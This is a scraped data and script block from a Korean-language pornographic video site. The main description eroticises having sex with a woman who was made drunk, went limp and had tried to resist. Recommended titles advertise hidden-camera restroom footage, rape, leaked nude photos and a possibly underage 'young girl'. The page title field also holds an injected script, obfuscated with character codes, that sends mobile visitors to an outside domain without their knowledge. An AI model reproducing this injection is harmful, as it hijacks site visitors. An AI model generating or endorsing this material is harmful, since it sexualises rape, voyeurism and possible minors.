바에서 즐기는 차갑고 냉담한 중년 여성들, 술에 취해 격렬하게 섹스하고 질내 사정하기","site_id":0,"video_url":"https://2605.fhbbff.com/20260702/6Zuv3sdO/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvNmRhNzQ3MTUyM2NjODZiY2MxNTgwMTQyMDYwYThmNGMuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"1.0","view_count":218,"description":"늦은 밤, 술집 구석에 혼자 앉아 있는 차갑고 도도한 여자를 발견했다. 검은색 미니스커트가 풍만한 가슴을 감싸고 있었고, 길고 늘씬한 다리는 꼬고 있었다. 그녀의 눈빛은 차갑지만 동시에 유혹적인 매력을 풍겼다. 나는 술을 건네며 그녀에게 다가갔지만, 그녀는 나를 무시했다. 나는 일부러 역발상을 했고, 몇 잔을 따라주자 그녀는 취했고, 마침내 나는 그녀를 내 호텔로 데려가는 데 성공했다. 호텔 안으로 들어오자 그녀는 저항하려 했지만, 나는 그녀가 마시던 마지막 잔을 단숨에 마셨다. 그녀의 눈은 멍해지고 몸은 축 늘어졌다. 나는 거칠게 그녀의 치마를 찢어 이미 젖어 있는 음부를 드러내고는 맹렬하게 그녀 안으로 삽입했다. 그녀는 입술을 깨물며 나지막이 신음했다. 나는 삽입 강도를 높였고, 살과 살이 부딪치는 소리가 그녀의 쾌락에 찬 비명과 뒤섞였다. 마침내 나는 뜨거운 정액을 그녀의 깊숙한 곳에 사정했다. 차갑고 도도했던 여자는 완전히 내 손아귀에 빠져 내 장난감이 되어 있었다.","tag":["술집","수렵","쌀쌀한","성숙한 여성","술에 취하다","최고 품질","최고 수준의 주부","부인","미친듯이 섹스하는","주입"],"site_url":"228882","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvNmRhNzQ3MTUyM2NjODZiY2MxNTgwMTQyMDYwYThmNGMuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"酒吧狩猎高冷御姐,灌醉极品人妻狂操内射","s_keywords":"酒吧狩猎高冷御姐,灌醉极品人妻狂操内射","s_description":"바에서 즐기는 차갑고 냉담한 중년 여성들, 술에 취해 격렬하게 섹스하고 질내 사정하기","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWRkMTNkYTM0N2QwMmVlMDA0OGI0MzNkMzk2N2ZmYzQuanBn.cache","vod_id":19219793,"title":"최고급 미용실 여자 화장실에 설치된 몰래카메라 영상! 변기 안에서 자위하고 사정하는 여자들의 모습이 고스란히 담겨 있다.","lastmod":"2026-03-02","duration":"0:40:02","url":"/play/19219793.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzA4ZmY5NmNkYzM3ZGU5ZDlmNDc0ZmRiOThkOTQxYWIuanBn.cache","vod_id":19225233,"title":"산둥성 출신의 근육질 남성 하오하오는 호텔에서 잔혹하게 강간당했다. 그의 거대한 성기가 그의 몸속으로 맹렬하게 박히면서 그는 밤새도록 신음소리를 냈다.","lastmod":"2026-03-30","duration":"0:20:05","url":"/play/19225233.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmEyNjEwOWY2NmVjZmJhNjljMDg1OGFkN2Y1MGI3MDQuanBn.cache","vod_id":19227730,"title":"두인학원 - 2화: 스타킹 배틀 - 흑스타킹을 신은 최상위권 여학생의 유혹 - 다리가 풀릴 때까지 내부 사정을 동반한 교실 광란","lastmod":"2026-04-09","duration":"0:53:38","url":"/play/19227730.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYW4ubGVmaGFvMjAyNTA5MjMudG9wLzIwMjYwMjE1L3Boc1hoUGRILzEuanBn.cache","vod_id":19218344,"title":"놀랍도록 아름다운 어린 소녀는 외모의 극명한 대조를 이루며 기괴한 다리찢기를 선보이고, 그녀의 여린 구멍은 활짝 벌어진 채 거대한 페니스에 의해 강렬하게 삽입당하며 사정한다.","lastmod":"2026-02-18","duration":"0:37:24","url":"/play/19218344.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDNmNGE3NjU4ODY3YjZjZmM4ZWQ2MTg2M2I0MjJhMjAuanBn.cache","vod_id":19234238,"title":"【현현황후】극도의 더블 S 지배! 신호등에서 번갈아가며 격렬하게 관계를 맺는 그녀의 모습을 1인칭 시점으로 감상하세요! 그녀가 미쳐버릴 때까지 유린당하는 모습을 지켜보세요!","lastmod":"2026-05-12","duration":"0:41:16","url":"/play/19234238.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNDM2NTcxNWMzNzI0Y2IyNzdlMDQ3MTVkMjU0YjIyY2UuanBn.cache","vod_id":19138954,"title":"매우 아름다운 성숙한 여성_【이브】컬렉션, 소품을 이용해 물을 뿌리는 아름다운 여성_베이징 하이뎬구 최고의 여대생_3.","lastmod":"2025-03-29","duration":"","url":"/play/19138954.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvZGIwYjM4ODg5YTk5OGY1NTRjMjc2MzU2NjNiOWIzNmMuanBn.cache","vod_id":19242869,"title":"S1 글래머 아이돌 이시다 카렌은 격렬한 섹스와 사정을 경험하며 절정에 달해 비명을 지른다.","lastmod":"2026-06-28","duration":"2:06:41","url":"/play/19242869.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvOTE0NzUyZjA3YWQ0MzQwM2UyMzVkYWZiNDQ2ODM3ODguanBn.cache","vod_id":19238731,"title":"MILK-183 유부녀의 전 여자친구가 온천 여행 중 불륜을 저지르는 이야기; 본능적인 삽입과 사정의 폭발.","lastmod":"2026-06-03","duration":"2:21:50","url":"/play/19238731.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjI2ODdhODg0YTAxNDZiMGJmODU1ZmZmMDBjMDk1ZWUuanBn.cache","vod_id":19137152,"title":"JUFE-361 아름다운 아내의 달콤하고 촉촉한 키스와 고급 란제리를 입은 섹스: 시골에서 자란 도시 삼촌의 아내, 미미 안즈를 유혹하다","lastmod":"2025-03-29","duration":"03:00:56","url":"/play/19137152.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjZhYmU3ZmU0MDU5M2Y3ZTE1Y2ZmNWViZmVmNTE3MzguanBn.cache","vod_id":19235970,"title":"제베이 아난: 유부녀와의 첫 경험, 광란의 섹스와 질내 사정, 궁극의 몸 2장","lastmod":"2026-05-18","duration":"2:01:46","url":"/play/19235970.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjg0NDczYjI5YmNmYWUxNTM0MzI5OTY3ZTk1OGJhYjUuanBn.cache","vod_id":19210983,"title":"맏왕자는 막강한 두 남자와 힘을 합쳐 학교 최고의 미녀이자 인터넷 스타인 여신을 무자비하게 유린하며, 거부할 수 없는 절정의 순간들을 연이어 경험한다!","lastmod":"2025-12-23","duration":"0:37:48","url":"/play/19210983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDJhYjFiOGMwNGM0NTQwZjM4NjgxZmVmYzc0ZmE1NjEuanBn.cache","vod_id":19069034,"title":"완벽한 얼굴 노출, 핸드헬드 카메라, 콘돔 없이 하는 성관계, 나비처럼 생긴 질 안에 사정.","lastmod":"2025-03-28","duration":"00:55:57","url":"/play/19069034.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGRmZmQwYmYzMTQxZWY0ODM4ODdhMzE2NThiYjM5MGIuanBn.cache","vod_id":19034849,"title":"MIST-244 아마추어 주부 콜걸 파견 완벽 비밀 매뉴얼 F컵 주부 카즈하, 28세, 미즈카와 카즈하","lastmod":"2025-03-28","duration":"02:33:02","url":"/play/19034849.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjdlNjIyMDYxMTU3NDNiMTkyNTc1Y2VjOTU1MzYwMmQuanBn.cache","vod_id":19137279,"title":"#라이브 스트림_짧은 머리의 성숙한 여성이 호텔에서 열정적으로 자위합니다! 진동 에그를 질 양쪽에 사용합니다.","lastmod":"2025-03-29","duration":"","url":"/play/19137279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYW4ubGVmaGFvMjAyNTA5MjMudG9wLzIwMjYwMjE2LzFEU1U4UXFMLzEuanBn.cache","vod_id":19218607,"title":"내 멋진 여자친구가 귀여운 동물 복장을 하고 PUBG를 했는데, 남자친구가 그녀를 절정에 이르게 할 때까지 관계를 맺는 동안 그녀의 질은 흠뻑 젖어 있었다.","lastmod":"2026-02-19","duration":"0:51:40","url":"/play/19218607.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzQ0M2I2NDZlYTJmZjk3MzBkMzY2OGE0OWQ3ZTllZGEuanBn.cache","vod_id":19150792,"title":"남편과 아이들과 함께 은밀한 공간에서 사는 아내는 빚을 갚을 수 없다. 낮부터 폭행을 당하고 이웃들의 시선이 걱정스러운 그녀는 남의 막대기를 입에 물고 발코니에 앉아 있다.","lastmod":"2025-03-29","duration":"44:05","url":"/play/19150792.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDEvYzdlODc3ZTFjYmE3ZmRjNTcxNTk0ZWM1YmE5ZTgxZjIuanBn.cache","vod_id":19178756,"title":"목구멍 깊숙이까지 들어가는 구강성교와 사정! 뜨거운 정액이 내 목구멍 깊숙이 가득 찼어.","lastmod":"2025-06-01","duration":"15:42","url":"/play/19178756.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2Q3OTMzYjA3ZDI1OGQ1OTZiZDI2N2ExMTI1NTdkOWQuanBn.cache","vod_id":19149042,"title":"MRSS-133 술 취한 이웃집 여자가 잘못 들어와 흥분해서 내 안에 사정했어요 - 미나미 모모","lastmod":"2025-03-29","duration":"01:55:27","url":"/play/19149042.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDEvODBkYmUxMjBhYWE0Nzk2ODBjMWI2ODU5OTkzNGJmNTUuanBn.cache","vod_id":19192290,"title":"[단독 유출] 파격적인 외모를 자랑하는 최상급 미녀의 노출 사진 유출!","lastmod":"2025-08-31","duration":"08:49","url":"/play/19192290.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWQzMTc3ZDIyY2NmNGU1YWVmMTEyNmUzOGE2ZGQyMjkuanBn.cache","vod_id":19147268,"title":"놀라운 미모를 자랑하는 18세 여대생이 PUBG 게임과 섹스 장면을 라이브 스트리밍하며, 아무도 모르는 큰돈을 벌고 호화로운 삶을 사는 비결을 공개합니다!! 1...","lastmod":"2025-03-29","duration":"","url":"/play/19147268.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzczNTVhZWU3MzQxNjYyNDlhN2I3YTIyM2YyZjJiNWQuanBn.cache","vod_id":19226633,"title":"NACR-784 눈부시게 아름다운 소녀가 부끄러워하며 불을 켠다! 어둠 속에서 그녀의 거대한 가슴은 남자친구에게 무참히 유린당하고, 그녀는 오르가즘에 도달하며 경련을 일으키고 살려달라고 애원한다!","lastmod":"2026-04-04","duration":"1:57:15","url":"/play/19226633.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGFjMGVhYzZmZmI3ZmM3MzdlZTI4NzRlY2I5NTFhM2MuanBn.cache","vod_id":19058565,"title":"엄청나게 섹시한 두 여자가 라이브 방송을 했어요~ 잘생긴 젊은 남자를 취하게 만든 후, 그 위에 올라탔죠~ 남자는 잠에서 깨어나서 관계를 가질 준비를 했어요!!","lastmod":"2025-03-28","duration":"","url":"/play/19058565.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTQ3NTc4Njg0YjllMjhkNzJjNTNiMzdhYmJmNjQ1YjQuanBn.cache","vod_id":19109417,"title":"최고급 매춘부이자 여신 같은 미모를 자랑하는 한 여성이 회사 프로젝트 매니저에게 성희롱을 당했고, 계약서에 서명하기 위해 어쩔 수 없이 몸을 팔아야 했다.","lastmod":"2025-03-29","duration":"","url":"/play/19109417.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMWMxZjIwOTc1ZjcwYjQ2NzNiODUwYjhkNjg1YzA2NDYuanBn.cache","vod_id":19244949,"title":"순수한 여교사가 제자에게 잔혹하게 강간당하다! 수줍은 절정에서 완전한 욕정과 완전한 항복까지 [LunaRoulette]","lastmod":"2026-07-11","duration":"","url":"/play/19244949.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>바에서 즐기는 차갑고 냉담한 중년 여성들, 술에 취해 격렬하게 섹스하고 질내 사정하기',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}